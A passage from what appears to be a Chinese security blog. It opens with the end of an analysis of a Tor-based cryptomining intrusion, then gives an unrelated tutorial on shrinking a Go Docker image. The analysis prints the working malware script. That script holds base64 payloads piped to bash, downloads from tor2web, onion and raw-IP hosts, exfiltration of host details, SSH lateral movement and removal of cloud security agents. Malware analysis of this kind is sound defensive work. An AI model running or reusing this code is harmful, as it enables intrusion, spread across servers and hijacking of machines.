byBleGl0ID4gJGkvaSAmJiBjaG1vZCAreCAkaS9pICYmIGNkICRpICYmIC4vaSAmJiBybSAtZiBpICYmIGJyZWFrO2RvbmUKfQoKdSgpIHsKc29ja3oKZj0vaW50LiQodW5hbWUgLW0pCng9Li8kKGRhdGV8bWQ1c3VtfGN1dCAtZjEgLWQtKQpyPSQoY3VybCAtNGZzU0xrIGNoZWNraXAuYW1hem9uYXdzLmNvbXx8Y3VybCAtNGZzU0xrIGlwLnNiKV8kKHdob2FtaSlfJCh1bmFtZSAtbSlfJCh1bmFtZSAtbilfJChpcCBhfGdyZXAgJ2luZXQgJ3xhd2sgeydwcmludCAkMid9fG1kNXN1bXxhd2sgeydwcmludCAkMSd9KV8kKGNyb250YWIgLWx8YmFzZTY0IC13MCkKJGMgLXggc29ja3M1aDovLyRzOjkwNTAgJHQub25pb24kZiAtbyR4IC1lJHIgfHwgJGMgJDEkZiAtbyR4IC1lJHIKY2htb2QgK3ggJHg7JHg7cm0gLWYgJHgKfQoKZm9yIGggaW4gdG9yMndlYi5pbiB0b3Iyd2ViLml0CmRvCmlmICEgbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1czsgdGhlbgpmZXhlO3UgJHQuJGgKbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1cyB8fCAoY2QgL3RtcDt1ICR0LiRoKQpscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzIHx8IChjZCAvZGV2L3NobTt1ICR0LiRoKQplbHNlCmJyZWFrCmZpCmRvbmUK|base64 -d|bash'</span><span class="p">;</span><span class="k">done
for </span>h <span class="k">in</span> <span class="nv">$hosts</span><span class="p">;</span><span class="k">do </span>ssh <span class="nt">-oBatchMode</span><span class="o">=</span><span class="nb">yes</span> <span class="nt">-oConnectTimeout</span><span class="o">=</span>5 <span class="nt">-oPasswordAuthentication</span><span class="o">=</span>no <span class="nt">-oPubkeyAuthentication</span><span class="o">=</span><span class="nb">yes</span> <span class="nt">-oStrictHostKeyChecking</span><span class="o">=</span>no <span class="nt">-l</span> <span class="nv">$USER</span> <span class="nv">$h</span> <span class="s1">'echo blU5V2FnalE4QmVuV1BYdDBvdkUxMnVEOGpCSXR2NgpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICI1aXhoaWVlem96eHdudmlzb3BneG9iYTZzc2JzcnZkcHhlZHV4YjRqYzZ6eDdzNTZydWZyanphZCIpCgpzb2NreigpIHsKbj0oZG9oLnRoaXMud2ViLmlkIGRvaC5wb3N0LWZhY3R1bS50ayBkbnMuaG9zdHV4Lm5ldCB1bmNlbnNvcmVkLmx1eDEuZG5zLm5peG5ldC54eXogZG5zLnJ1YnlmaXNoLmNuIGRucy50d25pYy50dyBkb2gtZmkuYmxhaGRucy5jb20gZmkuZG9oLmRucy5zbm9weXRhLm9yZyByZXNvbHZlci1ldS5sZWx1eC5maSBkb2gubGkgZG5zLmRpZ2l0YWxlLWdlc2VsbHNjaGFmdC5jaCkKcD0kKGVjaG8gImRucy1xdWVyeT9uYW1lPXJlbGF5LnRvcjJzb2Nrcy5pbiIpCnM9JCgkYyBodHRwczovLyR7blskKChSQU5ET00lMTEpKV19LyRwIHwgZ3JlcCAtb0UgIlxiKFswLTldezEsM31cLil7M31bMC05XXsxLDN9XGIiIHx0ciAnICcgJ1xuJ3xncmVwIC1FdiBbLl0wfHNvcnQgLXVSfGhlYWQgLW4gMSkKfQoKZmV4ZSgpIHsKZm9yIGkgaW4gLiAkSE9NRSAvdXNyL2JpbiAkZCAvdmFyL3RtcCA7ZG8gZWNobyBleGl0ID4gJGkvaSAmJiBjaG1vZCAreCAkaS9pICYmIGNkICRpICYmIC4vaSAmJiBybSAtZiBpICYmIGJyZWFrO2RvbmUKfQoKdSgpIHsKc29ja3oKZj0vaW50LiQodW5hbWUgLW0pCng9Li8kKGRhdGV8bWQ1c3VtfGN1dCAtZjEgLWQtKQpyPSQoY3VybCAtNGZzU0xrIGNoZWNraXAuYW1hem9uYXdzLmNvbXx8Y3VybCAtNGZzU0xrIGlwLnNiKV8kKHdob2FtaSlfJCh1bmFtZSAtbSlfJCh1bmFtZSAtbilfJChpcCBhfGdyZXAgJ2luZXQgJ3xhd2sgeydwcmludCAkMid9fG1kNXN1bXxhd2sgeydwcmludCAkMSd9KV8kKGNyb250YWIgLWx8YmFzZTY0IC13MCkKJGMgLXggc29ja3M1aDovLyRzOjkwNTAgJHQub25pb24kZiAtbyR4IC1lJHIgfHwgJGMgJDEkZiAtbyR4IC1lJHIKY2htb2QgK3ggJHg7JHg7cm0gLWYgJHgKfQoKZm9yIGggaW4gdG9yMndlYi5pbiB0b3Iyd2ViLml0CmRvCmlmICEgbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1czsgdGhlbgpmZXhlO3UgJHQuJGgKbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1cyB8fCAoY2QgL3RtcDt1ICR0LiRoKQpscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzIHx8IChjZCAvZGV2L3NobTt1ICR0LiRoKQplbHNlCmJyZWFrCmZpCmRvbmUK|base64 -d|bash'</span><span class="p">;</span><span class="k">done</span>
<span class="o">}</span>
ibot<span class="o">()</span> <span class="o">{</span>
<span class="nv">f</span><span class="o">=</span>/bot
<span class="nv">r</span><span class="o">=</span><span class="si">$(</span>curl <span class="nt">-4fsSLk</span> ip.sb||wget <span class="nt">-4qO-</span> ip.sb||curl <span class="nt">-4fsSLk</span> checkip.amazonaws.com<span class="si">)</span>_<span class="si">$(</span><span class="nb">whoami</span><span class="si">)</span>_<span class="si">$(</span><span class="nb">uname</span> <span class="nt">-m</span><span class="si">)</span>_<span class="si">$(</span><span class="nb">uname</span> <span class="nt">-n</span><span class="si">)</span>_<span class="si">$(</span>crontab <span class="nt">-l</span>|base64 <span class="nt">-w0</span><span class="si">)</span>
<span class="nv">$c</span> <span class="nt">-x</span> socks5h://<span class="nv">$s</span>:9050 <span class="nt">-e</span><span class="nv">$r</span> <span class="nv">$t</span>.onion<span class="nv">$f</span> <span class="o">||</span> <span class="nv">$c</span> <span class="nt">-e</span><span class="nv">$r</span> <span class="nv">$1$f</span>
<span class="o">}</span>
iscn<span class="o">()</span> <span class="o">{</span>
pkill <span class="nt">-9</span> <span class="nt">-f</span> tracepath
<span class="nv">f</span><span class="o">=</span>/trc
<span class="nv">x</span><span class="o">=</span>./<span class="si">$(</span><span class="nb">date</span>|md5sum|cut <span class="nt">-f1</span> <span class="nt">-d-</span><span class="si">)</span>
<span class="nv">$c</span> <span class="nt">-x</span> socks5h://<span class="nv">$s</span>:9050 <span class="nv">$t</span>.onion<span class="nv">$f</span> <span class="nt">-o</span><span class="nv">$x</span> <span class="o">||</span> <span class="nv">$c</span> <span class="nv">$1$f</span> <span class="nt">-o</span><span class="nv">$x</span>
<span class="nb">chmod</span> +x <span class="nv">$x</span><span class="p">;</span><span class="nv">$x</span><span class="p">;</span><span class="nb">rm</span> <span class="nt">-f</span> <span class="nv">$x</span>
<span class="o">}</span>
sockz
fexe
isys
issh &
ibot <span class="nv">$t</span>.tor2web.in <span class="o">||</span> ibot <span class="nv">$t</span>.tor2web.it
iscn <span class="nv">$t</span>.tor2web.in <span class="o">||</span> iscn <span class="nv">$t</span>.tor2web.it
</pre></td></tr></tbody></table></code></pre></div></div>
<p>这里面的 isys 试图卸载国内的的阿里云和腾讯云的 HIDS,但是却没有看到针对国外的厂商的 HIDS 的卸载程序。 这说明攻击者要么是国人,只了解国内的情况,要么攻击目标是国内的机器。</p>
<p>但是看到有很多篇英文的分析文章,说明这个攻击者还是要攻击国外的机器的。</p>
<p>那么为什么只卸载国内云服务器的 HIDS 呢,那我不知道了。</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
</pre></td><td class="rouge-code"><pre>isys<span class="o">()</span> <span class="o">{</span>
<span class="nb">echo </span>ZnVuY3Rpb24ga3VybCgpIHsKICByZWFkIHByb3RvIHNlcnZlciBwYXRoIDw8PCQoZWNobyAkezEvLy8vIH0pCiAgRE9DPS8ke3BhdGgvLyAvL30KICBIT1NUPSR7c2VydmVyLy86Kn0KICBQT1JUPSR7c2VydmVyLy8qOnKICBbWyB4IiR7SE9TVH0iID09IHgiJHtQT1JUfSIgXV0gJiYgUE9SVD04MAoKICBleGVjIDM8Pi9kZXYvdGNwLyR7SE9TVH0vJFBPUlQKICBlY2hvIC1lbiAiR0VUICR7RE9DfSBIVFRQLzEuMFxyXG5Ib3N0OiAke0hPU1R9XHJcblxyXG4iID4mMwogICh3aGlsZSByZWFkIGxpbmU7IGRvCiAgIFtbICIkbGluZSIgPT0gJCdccicgXV0gJiYgYnJlYWsKICBkb25lICYmIGNhdCkgPCYzCiAgZXhlYyAzPiYtCn0KCnJtIC1mICRIT01FL3NzCmN1cmwgLVYgfHwgd2dldCAtcSBodHRwczovL2dpdGh1Yi5jb20vbW9wYXJpc3RoZWJlc3Qvc3RhdGljLWN1cmwvcmVsZWFzZXMvZG93bmxvYWQvdjcuNzUuMC9jdXJsLWFtZDY0IC1PICRIT01FL2N1cmw7Y2htb2QgK3ggJEhPTUUvY3VybApjdXJsIC1WIHx8IGt1cmwgaHR0cDovLzEzOS41OS4xNTAuNzo0NDMvY3VybCA+ICRIT01FL2N1cmw7Y2htb2QgK3ggJEhPTUUvY3VybApzcyAtdiAgIHx8IGt1cmwgaHR0cDovLzEzOS41OS4xNTAuNzo0NDMvc3MgICA+ICRIT01FL3NzO2NobW9kICt4ICRIT01FL3NzCnNzIC12ICAgfHwgY3VybCAtcyBodHRwOi8vMTM5LjU5LjE1MC43OjQ0My9zcyAtbyAkSE9NRS9zcztjaG1vZCAreCAkSE9NRS9zcwpwcyAgICAgIHx8IGN1cmwgLXMgaHR0cDovLzEzOS41OS4xNTAuNzo0NDMvcHMgLW8gJEhPTUUvcHM7Y2htb2QgK3ggJEhPTUUvcHMK|base64 <span class="nt">-d</span>|bash
crontab <span class="nt">-l</span> <span class="o">||</span> yum <span class="nt">-y</span> <span class="nb">install </span>cron
crontab <span class="nt">-l</span> <span class="o">||</span> yum <span class="nt">-y</span> <span class="nb">install </span>cronie
crontab <span class="nt">-l</span> <span class="o">||</span> apt-get update <span class="o">&&</span> apt-get <span class="nt">-y</span> <span class="nb">install </span>cron
/usr/local/share/assist-daemon/assist_daemon <span class="nt">--stop</span>
/usr/local/share/assist-daemon/assist_daemon <span class="nt">--delete</span>
/usr/local/qcloud/monitor/barad/admin/uninstall.sh
/usr/local/qcloud/stargate/admin/uninstall.sh
/usr/local/qcloud/YunJing/uninst.sh
/etc/init.d/aegis uninstall
systemctl stop aliyun
systemctl disable aliyun
systemctl start cron
systemctl <span class="nb">enable </span>cron
systemctl start crond
systemctl <span class="nb">enable </span>crond
<span class="nb">rm</span> <span class="nt">-rf</span> /usr/loca/qcloud/ /usr/local/aegis/ /usr/local/share/assist-daemon/ /usr/local/share/aliyun-assist/ /usr/sbin/aliyun-service /usr/sbin/aliyun_installer /etc/systemd/system/aliyun.service
<span class="o">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p><code class="language-plaintext highlighter-rouge">issh</code>函数通过 ssh横向移动。 如果机器上有已经配置好的 <a href="https://github.com/ansible/ansible">ansible</a>、<a href="https://github.com/lilydjwg/pssh">pssh</a>、<a href="https://github.com/saltstack/salt">salt</a>、<a href="https://docs.chef.io/workstation/knife_bootstrap/">knife</a> 等自动化运维工具,该恶意程序还会尝试利用他们进行横向移动。除此之外,攻击者还从 bash 的历史 ssh 记录里面尝试登录远程设备。</p>
<h1 id="跋">跋</h1>
<p>攻击者看起来是花了一些精力来研究如何绕过 HIDS 和 NIDS 的,恶意木马至今还有一部分是免杀的,此外还通过 IaC 工具扩大自己的战果,如此看来攻击者还是很厉害的,虽然没有做太多的对抗,但是他横向移动的技术值得红队人员学习 :)</p>
<p>分析大概就写这么多吧。</p>
<p>又是一篇流水账,没有重点,缺乏组织的意识流形式的文章。</p>
<p>我觉得这样不好,还得多学习学习怎样行文才能结构紧凑,言之有物。</p>
<p>看起来应该在本文的基础上修改几遍应该是可以改出来的。</p>
<p>不过吧,这不是写作业,没人评分,但是读者读起来可能比较费劲。</p>
<p>大段的代码,没有介绍基础知识,溯源思路没有表达清楚,大段的原始冗余重复的代码,缺乏图片描述,彼此关系不清,没有 Linux 基础的人可能很难看懂,能看懂的可能也很难坚持看这无聊的文章到结尾,最后此文可能就变成了我的备忘录 :(</p>
<p>想了想,我下次还是得认真思考一下怎么表达才能比较清楚了。</p>
<p>这一篇就算了,就写这样了吧。</p>
<p>哎,就是玩。</p>
<p>鸣谢:</p>
<ul>
<li>曾大佬</li>
<li>矫哥</li>
</ul>
<p>Les1ie</p>
<p>2021.7.12 18:43</p>
Mon, 12 Jul 2021 10:53:00 +0000
https://iansmith123.github.io/2021/07/12/tor-miner/
https://iansmith123.github.io/2021/07/12/tor-miner/
网络安全
应急响应
-
优化部署go的docker镜像大小
<h1 id="序">序</h1>
<p>因为属实不想看论文不想做实验了(似乎我并没有认真搞多久呐)</p>
<p>决定摸鱼玩一玩 :)</p>
<p>方糖通知近期经常丢消息,延迟到达,他已经不是一个可靠的通知平台了,并且也因为腾讯限制了模板消息导致开发者准备下线业务。</p>
<p>除此之外,我还用了邮件通知作为辅助,不是很优雅,每次写代码的时候需要把一个写好的硬编码了 smtp 登录凭据的 python 脚本拿着到处跑,并且腾讯强制一个月修改一次密码,每次修改麻烦。此外从发送了通知到手机QQ 邮箱弹出消息可能延迟半分钟,保证尽量小的时间差这点,QQ 邮箱做得不够好。仔细想想似乎也不能把锅都给QQ,如果轮询时间间隔太小或者长连接可能消耗手机电量比较严重,半分钟已经是及时性和耗电二者的妥协了吧 :)</p>
<p>于是搞一个通知的小工具提上日程 :)</p>
<h1 id="提出需求">提出需求</h1>
<p>希望可以实现多种方式推送的平台,类似于 server 酱,发一个 http 请求,手机收到通知。</p>
<p>通知的平台希望支持</p>
<ul>
<li>微信</li>
<li>邮箱</li>
<li>短信</li>
</ul>
<p>那么这个通知平台需要实现一个 api,根据请求里面的 token判定用户,给用户发送通知消息。html页面可选。</p>
<h1 id="寻找解决方案">寻找解决方案</h1>
<p>首先,因为网络限制,FCM 推送是不可能的,ifttt 的 webhook,pushbullet, pushover 这些就暂不考虑了。</p>
<p>兜兜转转找了一圈,发现点过 star 的项目两个</p>
<ul>
<li>
<p>https://github.com/gotify/server</p>
</li>
<li>
<p>https://github.com/nikoksr/notify</p>
</li>
</ul>
<p>gotify 支持安卓、电脑的浏览器等终端,但是他需要一个常驻后台的安卓程序,而我的 ColorOS7 杀后台比较激进,除了微信有免死金牌,其他的基本都活不下来。</p>
<p>notify 支持 mail,一定程度上符合我的需求,但是时效性有不少问题。</p>
<p>手机短信通知大可不必,要钱钱的,于是乎用微信的通知成了唯一解。</p>
<p>那么就找一个支持企业微信的通知的轮子。</p>
<p>找了一圈有一个比较类似的</p>
<ul>
<li>https://github.com/cloverzrg/wechat-work-message-push-go</li>
</ul>
<p>但是存在一个问题,他还添加了 grafana,似乎是想用 grafana 的报警功能推送到微信</p>
<p>去除 grafana 基本就符合我用企业微信发送通知的功能了,但是除此之外我还需要短信推送、邮件推送的功能。</p>
<p>那么决定在他的基础上,根据我的需求写写。</p>
<h1 id="写业务代码">写业务代码</h1>
<p>思考了下用 python 还是 go 写这个东西。python的话就 flask/fastapi 一把梭,但是写起来少了不少乐趣,用 python 写更多的是为了实现这个需求,而不是开心的摸鱼 :)</p>
<p>非常巧,申请了开源之夏的项目过了,这个项目是要根据需求写 go 代码和改代码 bug,由于我写过的 go 代码不及 python 的百分之一,要顺利地完成开源之夏的项目我似乎还得再学习学习。</p>
<p>看完了 wechat-work-message-push-go 的执行逻辑,结合企业微信开发文档,发现企业微信发通知的逻辑比较简单,分为 2 步:</p>
<ol>
<li>根据 corpID, corpSecret 请求微信的 api 获取 access_token,access_token 两个小时内有效,获取到之后保存起来,过期了及时更新即可</li>
<li>携带 access_token 请求消息通知的 api,请求体中放 AgentId ,接收人的 id和通知内容</li>
</ol>
<p>用 python 实现这个基础的需求并且不考虑异常处理,我觉得用不到 30 行代码 :)</p>
<p>但是我还是决定用 go 写 :)</p>
<p>三下五除二写好了,目前只写了企业微信的通知,邮件通知就下次摸鱼的时候再写吧,剩下的就是部署了。</p>
<p>编译成二进制放到到服务器上,然后 caddy 套个反代加了层 https 就收工了。</p>
<h1 id="docker-部署">docker 部署</h1>
<p>丢一个二进制到服务器就完事儿了,似乎感觉少了点什么 :)</p>
<p>还没有摸鱼完呢 就搞完了</p>
<p>那么就再套娃一个 docker 吧</p>
<h2 id="能跑就行的-dockerfile-v10">能跑就行的 dockerfile v1.0</h2>
<p>首先写一个 dockerfile,因为 1.13 后默认开启了 go mod,因此 go build 的时候会自动下载 go mod的依赖,这里我们只需要设定 goproxy 环境变量就行。此外我之前一直用的七牛的 goproxy.cn,但是最近在实验室连接他会有网络问题,于是换成了 goproxy.io,速度伯仲之间吧。
这里专门为设定环境变量加了一层<code class="language-plaintext highlighter-rouge">RUN</code>大可不必,可以直接加 <code class="language-plaintext highlighter-rouge">environment</code>或者和 <code class="language-plaintext highlighter-rouge">go build</code>放到一起,不过和这巨大的尺寸比起来,这点优化 duck 不必</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
</pre></td><td class="rouge-code"><pre>FROM golang:1.16 AS builder
WORKDIR /app
COPY . .
RUN go env -w GOPROXY=https://goproxy.io,direct
RUN go build -o app .
CMD ["./app"]
</pre></td></tr></tbody></table></code></pre></div></div>
<p>好的,构建完了,972MB,中规中矩,但这对于一个简单的 web 应用的镜像来说,可以用巨大来形容了</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>docker images wxworkmsgbot_bot
REPOSITORY TAG IMAGE ID CREATED SIZE
wxworkmsgbot_bot latest 5c7364d4e983 2 minutes ago 972MB
</pre></td></tr></tbody></table></code></pre></div></div>
<h2 id="多步构建减小尺寸">多步构建,减小尺寸</h2>
<p>既然用 go 写的,运行时的依赖不是问题,可以多步构建把 artifact 复制到第二部分的镜像里面。
于是,花了一分钟时间,把 <a href="https://docs.docker.com/develop/develop-images/multistage-build/">docker官方文档示例</a> 里面的多步构建的示例复制过来。</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="rouge-code"><pre>FROM golang:1.16
WORKDIR /go/src/github.com/alexellis/href-counter/
RUN go get -d -v golang.org/x/net/html
COPY app.go .
RUN CGO_ENABLED=0 GOOS=linux go build -a -installsuffix cgo -o app .
FROM alpine:latest
RUN apk --no-cache add ca-certificates
WORKDIR /root/
COPY --from=0 /go/src/github.com/alexellis/href-counter/app .
CMD ["./app"]
</pre></td></tr></tbody></table></code></pre></div></div>
<p>示例里面加了不少参数,我刚复制的时候还不知道为什么他要做这些操作,于是减法减法减法,只留下我想要的部分,得到了 v2.0 版本的 dockerfile</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="rouge-code"><pre>FROM golang:1.16 AS builder
WORKDIR /app
COPY . .
RUN go env -w GOPROXY=https://goproxy.io,direct
RUN go build -o app .
CMD ["./app"]
FROM alpine:latest
WORKDIR /app
COPY --from=builder /app/app .
CMD ["./app"]
</pre></td></tr></tbody></table></code></pre></div></div>
<p>好的,非常完美, <code class="language-plaintext highlighter-rouge">docker-compose up --build</code> 一气呵成</p>
<p>一看大小只有 <code class="language-plaintext highlighter-rouge">16.1MB</code>,比刚刚好多了,缩小到了原来的 <code class="language-plaintext highlighter-rouge">16.1/972=1.66%</code> 心情愉悦 ^_^</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre>docker images wxworkmsgbot_bot
REPOSITORY TAG IMAGE ID CREATED SIZE
wxworkmsgbot_bot latest 5e8c0cb18517 6 seconds ago 16.1MB
</pre></td></tr></tbody></table></code></pre></div></div>
<p>再去看看启动情况,留下了一行日志就退出了</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>Recreating wxworkmsgbot_bot_1 ... done
Attaching to wxworkmsgbot_bot_1
bot_1 | standard_init_linux.go:219: exec user process caused: no such file or directory
</pre></td></tr></tbody></table></code></pre></div></div>
<p>问题不大,复制这行报错,面向 stackoverflow 编程</p>
<p>很快发现这是因为默认启用了 CGO 导致的,把他禁用就行了</p>
<p>此时此刻,恰如彼时彼刻,想起来, docker 文档里面就是做了这个操作的</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="rouge-code"><pre>FROM golang:1.16 AS builder
WORKDIR /app
COPY . .
RUN go env -w GOPROXY=https://goproxy.io,direct
RUN CGO_ENABLED=0 go build -o app .
CMD ["./app"]
FROM alpine:latest
WORKDIR /app
COPY --from=builder /app/app .
CMD ["./app"]
</pre></td></tr></tbody></table></code></pre></div></div>
<p>加上这一行,没有问题</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>$ docker images wxworkmsgbot_bot
REPOSITORY TAG IMAGE ID CREATED SIZE
wxworkmsgbot_bot latest 1dfff8d58731 18 hours ago 16.1MB
</pre></td></tr></tbody></table></code></pre></div></div>
<p>那么 <code class="language-plaintext highlighter-rouge">docker</code>文档剩下的参数是干什么的,尤其是 <code class="language-plaintext highlighter-rouge">installsuffix</code>,以前没看到过。</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre>$ go tool link
...
-installsuffix suffix
set package directory suffix
</pre></td></tr></tbody></table></code></pre></div></div>
<p>可以看到意思是安装的路径前缀,不过还是不太懂,继续搜了下,发现 go 开发者 ianlancetaylor 在一个 <a href="https://github.com/golang/go/issues/9344#issuecomment-69944514">issue</a> 里面说在新版本的 go 里面不需要了,那么我就暂且不管他。</p>
<p>正常运行了,于是请求一下 api</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>Get "https://qyapi.weixin.qq.com/cgi-bin/gettoken?corpid=ffffff&corpsecret=xfdasfasf": x509: certificate signed by unknown authority
</pre></td></tr></tbody></table></code></pre></div></div>
<p>看起来是缺了证书</p>
<p>此时此刻,恰如彼时彼刻</p>
<p>docker 的文档里面给 alpine 装了个证书,原来是搞这个用的</p>
<p>那么再加进去</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
</pre></td><td class="rouge-code"><pre>FROM golang:1.16 AS builder
WORKDIR /app
COPY . .
RUN go env -w GOPROXY=https://goproxy.io,direct
RUN CGO_ENABLED=0 go build -o app .
CMD ["./app"]
FROM alpine:latest
RUN apk --no-cache add ca-certificates
WORKDIR /app
COPY --from=builder /app/app .
CMD ["./app"]
</pre></td></tr></tbody></table></code></pre></div></div>
<p>好的,这下真的一整个流程都 work 了</p>
<p>镜像大小为 16.4MB</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>docker images wxworkmsgbot_bot
REPOSITORY TAG IMAGE ID CREATED SIZE
wxworkmsgbot_bot latest 59af2bbb0b1c 34 seconds ago 16.4MB
</pre></td></tr></tbody></table></code></pre></div></div>
<h2 id="继续优化大小">继续优化大小</h2>
<p>真正的缩减大小,从现在开始,思路有两个,第一,减小二进制的大小;第二,使用 scratch 而不是 alpine。</p>
<p>首先减小二进制的大小。</p>
<p>很久以前摸鱼的时候,发现<code class="language-plaintext highlighter-rouge">go build</code>的结果有不少优化的空间,比如 <code class="language-plaintext highlighter-rouge">-s</code>去除符号表 <code class="language-plaintext highlighter-rouge">-w</code> 去除调试信息、<code class="language-plaintext highlighter-rouge">-trimpath</code> 去除路径信息(反溯源的目的)等,于是乎再修改一下 dockerfile</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="rouge-code"><pre>FROM golang:1.16 AS builder
WORKDIR /app
COPY . .
RUN go env -w GOPROXY=https://goproxy.io,direct
RUN CGO_ENABLED=0 GOOS=linux go build -ldflags="-w -s" --trimpath -o app .
FROM alpine:latest
RUN apk --no-cache add ca-certificates
WORKDIR /app
COPY --from=builder /app/app .
CMD ["./app"]
</pre></td></tr></tbody></table></code></pre></div></div>
<p>经过测试,正常运行,不过缩减大小并不明显,事后想想似乎是 alpine占据太大的空间,二进制文件可能已经减小了 1/3了。</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>docker images wxworkmsgbot_bot
REPOSITORY TAG IMAGE ID CREATED SIZE
wxworkmsgbot_bot latest ad00fe8a6c01 24 seconds ago 13.5MB
</pre></td></tr></tbody></table></code></pre></div></div>
<p>下一步就是并不常见的压缩二进制的步骤:upx加壳,虽然他更多的是用来混淆对抗杀软的,但是他的压缩性能是真的可以,让我想在这里试试</p>
<p>放一个 upx 进去,再加一个最大压缩比例的参数,于是有了新的 dockerfile</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
</pre></td><td class="rouge-code"><pre>FROM golang:1.16 AS builder
COPY upx /app/upx
WORKDIR /app
COPY . .
RUN go env -w GOPROXY=https://goproxy.io,direct
RUN CGO_ENABLED=0 go build -ldflags="-w -s" --trimpath -o app .
RUN /app/upx --best app
FROM alpine
#FROM scratch
RUN apk --no-cache add ca-certificates
WORKDIR /app
COPY --from=builder /app/app .
CMD ["./app"]
</pre></td></tr></tbody></table></code></pre></div></div>
<p>其中构建过程中压缩的输出如下</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="rouge-code"><pre> ---> Running in d9e31badd0b6
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2020
UPX 3.96 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 23rd 2020
File size Ratio Format Name
-------------------- ------ ----------- -----------
7462912 -> 2428916 32.55% linux/amd64 app
Packed 1 file.
Removing intermediate container d9e31badd0b6
</pre></td></tr></tbody></table></code></pre></div></div>
<p>经过测试,工作正常,现在的容器只有8.51MB了,其中,二进制文件压缩前有 7462912/1024/1024=7.1MB,压缩后只有 2.3 MB,剩下的空间是 alpine 占据的</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre>docker images wxworkmsgbot_bot
REPOSITORY TAG IMAGE ID CREATED SIZE
wxworkmsgbot_bot latest 72ec286b8d99 35 seconds ago 8.51MB
</pre></td></tr></tbody></table></code></pre></div></div>
<p>那么是时候干掉 alpine 了</p>
<h2 id="使用-scratch">使用 scratch</h2>
